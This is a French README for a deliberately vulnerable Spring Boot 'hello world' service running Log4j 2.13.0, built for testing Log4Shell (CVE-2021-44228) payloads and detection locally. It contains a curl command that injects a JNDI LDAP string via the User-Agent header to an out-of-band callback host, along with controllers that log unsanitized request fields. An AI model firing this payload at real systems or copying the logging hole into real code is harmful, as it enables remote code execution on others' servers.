CVE-2021-44228 Service de test Spring Boot

Ceci est un projet spring boot hello world bricolé pour tester vos outils/payloads/capacités de détection en local avant de les utiliser sur des cibles en production.

La version de Log4j configurée est la 2.13.0

Construction de l'image docker

bash build.sh

Exécution de l'image docker

docker run -p 8080:8080 dwdi/log4shell

Test / Déclenchement de CVE-2021-44228

Si vous n'avez pas burp collaborator qui tourne dans le garage, vous pouvez visiter ce site pour une expérience similaire : https://interactsh.com

curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null

Outil de scan

Optionnellement, vous pouvez utiliser ce superbe dépôt pour effectuer des scans locaux/massifs : https://github.com/adilsoybali/Log4j-RCE-Scanner

Emplacements de déclenchement

Cette vulnérabilité consiste à forcer une valeur contrôlée par l'utilisateur à être journalisée par le framework de journalisation vulnérable. Dans cette optique, cette simple application factice prend en charge deux verbes HTTP (GET/PUT) et un ensemble d'emplacements d'injection :

@GetMapping("/")
	public String index(HttpServletRequest request) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		return "Log4J2 is working!";
	}

@PostMapping("/")
	public String post(HttpServletRequest request, @RequestBody String body) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		logger.info("Request Body: " + body); // mind the extra request body
		return "Log4J2 is working!";
	}

Les contributions / améliorations sont les bienvenues.

Désolé pour la qualité du code :) ce projet n'est pas destiné à épater, mais à partager/aider.